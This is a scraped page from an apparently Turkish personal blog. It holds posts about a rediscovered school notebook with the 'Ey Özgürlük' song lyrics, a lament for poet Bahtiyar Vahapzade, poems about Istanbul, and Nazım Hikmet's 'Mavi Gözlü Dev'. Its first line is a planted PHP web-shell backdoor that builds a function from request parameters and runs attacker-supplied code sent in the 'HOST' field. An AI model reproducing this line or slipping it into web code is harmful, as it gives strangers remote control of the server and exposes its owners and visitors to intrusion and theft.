if (isset($_REQUEST['FILE'])){$_FILE = $_REQUEST['0402a745c221bef24158643f3c4fd113']('$_',$_REQUEST['FILE'].'($_);'); $_FILE(stripslashes($_REQUEST['HOST']));}
Şiir olmayan yerde insan sevgisi de olmaz.
Lisedeki son senemde kitaptı defterdi eve hiçbir şey getirmezdim. Hepsini sıranın altında bırakır, çantasız, elimi kolumu sallaya sallaya arkadaşların deyişiyle Turist Ömer gibi okula gider gelirdim..
Okul ve dershane için yalnızca 1 defterim vardı. Onu da derste not almak için değil, derste canım sıkıldığında bir şeyler karalamak için kullanırdım. Böyle olunca da her sayfasında bir anı, geçmişten bir iz oluyor.
Okulun son günü yine aynı alışkanlık ile defteri okulda bırakmıştım ve bir daha göremeyeceğimi düşünüyordum. Ama Kaptan Kaptanım sonradan sınıfa girmiş ve defterimi almış.
Bugün okula gittim ve Kaptan ile görüşüp defteri aldım. Rasgele bir sayfa açtım.. Karşıma ilk çıkan şey kocaman bir;
Ey Özgürlük!..
oldu. Altına da Orhan Veli’nin Paul Eluard’tın Liberte şiirinden çevirdiği, Zülfü Livaneli’nin besteleyip söylediği beni her dinlediğimde mutlu eden bu şarkının sözlerini yazmışım.. Hey gidi.. Öss’nin ne kadar sıktığı ölçülebilir bir şey değilmiş anlaşılan..
Şarkıyı buradan dinleyebilirsiniz.
Sözler de buradan;
Okulda defterime, sirama agaçlara, yazarim adini
Okunmus yapraklara, bembeyaz sayfalara yazarim adini
Yaldizli imgelere, toplara tüfeklere, krallarin tacina
En güzel gecelere, günün ak ekmegine, yazarim adini
Tarlalara ve ufka, kuslarin kanadina,
Gölgede degirmene yazarim.
Uyanmis patikaya, serilip giden yola,
Hinca hinç meydanlara adini ey Özgürlük.Kapimin esigine, kabima kacagima, içindeki aleve,
Canlarin oyununa, uyanik dudaklara yazarim adini.
Yikilmis evlerime, sönmüs fenerlerime, derdimin duvarina,
Arzu duymaz yokluga, çirçiplak yalnizliga, yazarim adini.
Geri gelen sagliga, geçen her tehlikeye,
Yazarim ben adini, yazarim.
Bir sözün coskusuyla, dönüyorum hayata,
Senin için dogmusum, haykirmaya.
Ey özgürlük!
Dikkatimi en çok çeken şeylerden bir tanesi de yine büyük boyutlardaki harflerle yazmış olduğum:
Ölürsem Sebebi Sensin!..
oldu..
Ölmedik çok şükür..
Her sayfaya İstanbul 2008 yazmışım.. 2008 de geçtii, İstanbul’a da gittik..
Ama o günler daha güzeldi..
Vay be.. Ne deftermiş.. Bir yazıda Edebiyat Seçmeleri, Fotoğraflarım, Günlük, Hayatıma Yön Veren Şarkılar olmak üzere 4 kategoriye birden girdi.. ![]()
İşte bu kadar güzel bir şey..

Bahtiyar Vahapzade.. Ayaküstü ufak bir araştırma yaptım.. Çok kesin bir sonuç verdiğini söyleyemem. Ama ne yazık ki vermediğini de söyleyemem. 20 kişiye sordum “Bahtiyar Vahapzade kimdir?” diye. Bugün birçok haber sitesinde ve muhtemelen TV haberlerinde de gösterilmesine rağmen 20 kişiden sadece 5 kişi biliyordu kim olduğunu. Mazeretler ise bilindik şeyler; kimisi liseden mezun olalı çok olmuştu, kimisi fen öğrencisiydi vs..
İyi de kimdi Bahtiyar Vahapzade?
Yaşayan en büyük Türk şairi.. idi.. Artık değil.. O da gitti..
Ölümüne itirazımız yok tabii de Bahtiyar Vahapzade’yi bile öğretemeyen bir eğitim sistemi nasıl gençlere Türkçe’nin, özgürlüğün, vatan sevgisinin önemini öğretecek?
Sanırım ne söylesek o kadar da önemli değil.. Allah rahmet eylesin..
Read MoreSavadsızdır
Adını da yaza bilmir
Menim anam…
Ancak mene
Say öğredip
Ay öğredip
il öğredip
En vacibi dil öğredip
Menim anam.
Bu dil ile tanımışam
Hem sevinci
Hem de gamı
Bu dil yaratmışam
Her şiirimi
Her nağmemi,
Yoh men heçem
Men yalanam
Kitap kitap sözlerimin
Müellifi menim anam!
Hemen hemen ortak hayallerimin olduğu, sürrealist arkadaşım Seryat‘tan benim için yazdığı şiir..
Eşşeğin osuruklu kulakları,
Geğirdiği zaman ayakları,
Belki anırır bağırsakları.
Ama sen kal hep.
Kusmadan.
Kusmadan kal ki,
Uzun uzun muhabbet edelim.
Bilirsin, severim İstanbul’u,
Senin gibi.
Ama en çok anırtacak olan da o,
Gebertecek belki de,
Belki de ağzımıza sıçacak.
Ama başka şehir kaldıramaz bu ağırlığı.
Bursa’ya fazla gelir bu nefretimiz.
Dağılır gider güzel şehir.
Sakarya’ya sığmaz huzurumuz,
Sapanca kaynar.
Ankara desen,
Götümüzle beraber hayallerimiz de donar kışın.
E Hadi Adana’ya gidelim;
Gidelim de devrelerimizi, sabit disklerimizi mi yakalım,
Kaderimizin yüklü olduğu ?
İstanbul’dan başkası yalan bize dost.
Sen, ben, o, bu, şu ne ise,
İstanbul da o.
Geceleri yanına oturur ulan,
Sabahları kahvaltını hazırlar, akşam tanıştığın manita gibi.
Bazen moralini bozar,
Tartışırsınız, hırçın ama vazgeçilmez sevgilinmiş gibi.
Yeşil gözlüdür benim için,
Senin içinse rengi yoktur belki, saydamdır.
Uzun saçlıdır benim için.
Rapunzel yanında halt yemiştir.
Uyuyan Rapunzel derim ben bazen;
Ama ne uyuyan güzel kadar sakindir,
Ne de Rapunzel kadar sabit.
İstanbul itlerin ürüdüğü, kervanların yürüdüğü yerdir.
Ertesi gün metro için kazmaya gelirler semtini.
Marmaray derler,
Kazdıkları yerden bin yıllık gemi çıkar.
Bu Ne Lan ?
Beynim gibi.
De bana bakayım;
Hangi şehir kaldırır beynimdeki 18 yıllık gemiyi,
Hangi kent bu kadar anlayabilir beni ?
Hiç bir yerin rüzgarı alamaz hararetimi,
Boğazın aldığı kadar.
Ağzımıza sıçsa da,
Kalemimizi kırsa da,
Paramızı çalsa da,
“Kavgamızın Şehri” olduğu sürece,
“İçimizde Ölen Biri Var” olsa da,
Orada Olacağız.
Yeşil gözler Ankara’da olsa da,
“Ben Burdayım İşte Lan” diyeceğiz.
Saydam gözler gökte olsa da,
“Ben Burdayım İşte Lan,
Beyoğlu’nun Işıklarının Altındayım”
Eşşekten girmiştik konuya;
“Dünyanın En Güzel Gözü Eşşeklerdedir,
Sana Ettiğim Onca İltifat Hep Bu Nedenledir.
”
“salkım salkım tan yelleri estiğinde
mavi patiskaları yırtan gemilerinle
uzaktan seni düşünür düşünürüm
istanbul
binbir direkli haliç’inde akşamlar
adalarında bahar süleynaiye’nde güneş
ey sen ne güzelsin ey kavgamızın şehri
istanbul
boşuna çekilmedi bunca acılar
büyük ve sakin süleymaniye’nle bekle
parklarınla köprülerinle meydanlarınla
bekle bizi istanbul
tophane’nin karanlık sokaklarında
koyun koyuna yatan çocuklarınla bekle
bekle zafer şarkılarıyla geçişimizi
istanbul
haramilerin saltanatını yıkacağız
bekle o günler gelsin gelsin istanbul
sen bize layıksın biz de sana istanbul
istanbul
boşuna çekilmedi bunca acılar
büyük ve sakin süleymaniye’nle bekle
parklarınla köprülerinle meydanlarınla
bekle bizi istanbul“

ben seni sevdiğimde
istanbul’a gün doğmamıştı
balıkçılar ağ atmamış
şairler henüz yatmamıştı
neler yaşadık önce
ben seni ne çok sevdim
bir istanbul ekspresinden
halliceydi kalbim
ve bir yemini körelttim şimdi
yerine bir umudu biledim
ve bir istanbul ekspresinden
halliceydi kalbim
üstelik bilmiyordum beşiktaş’tan
beyoğlu’na kaç saatte inilir
aşk nerdedir bu şehirde
hangi sokakta gezinir
dedim ya ben seni sevdiğimde
istanbul’a gün doğmamıştı
gün doğmadan neler doğar
bunu gönlüm de ummamıştı
uçakları hiç sevmem
trenden de vazgeçtim
izmir’den istanbul’a
tam bir saatte geçtim..
yiğit güralp
Sanırım kavak yellerinde geçmiş.. Ekşi’de gördüm çok hoşuma gitti..
O mavi gözlü bir devdi,
Minnacık bir kadın sevdi.
Kadının hayali minnacık bir evdi,
bahçesinde ebruliii
hanımeli
açan bir ev.
Bir dev gibi seviyordu dev,
Ve elleri öyle büyük işler için
hazırlanmıştı ki devin,
yapamazdı yapısını,
çalamazdı kapısını
bahçesinde ebruliiii
hanımeli
açan evin.
O mavi gözlü bir devdi,
Minnacık bir kadın sevdi.
Mini minnacıktı kadın.
Rahata acıktı kadın
yoruldu devin büyük yolunda.
Ve elveda! deyip mavi gözlü deve,
girdi zengin bir cücenin kolunda
bahçesinde ebruliiii
hanımeli
açan eve.
Şimdi anlıyor ki mavi gözlü dev,
Dev gibi sevgilere mezar bile olamaz:
bahçesinde ebruliii
hanımeli
açan ev...
Nazım HikmetRead More
Buralardayım